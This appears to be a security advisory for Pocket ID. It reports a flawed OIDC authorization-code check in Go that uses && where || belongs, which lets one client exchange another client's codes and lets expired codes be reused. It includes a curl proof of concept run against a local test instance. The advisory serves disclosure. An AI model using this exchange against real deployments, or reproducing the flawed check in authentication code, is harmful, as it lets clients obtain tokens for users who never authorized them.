Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange

Summary

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

Condition	Expected	Actual
Wrong client + valid code	Reject	Accept
Correct client + expired code	Reject	Accept

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens — access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Impact

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.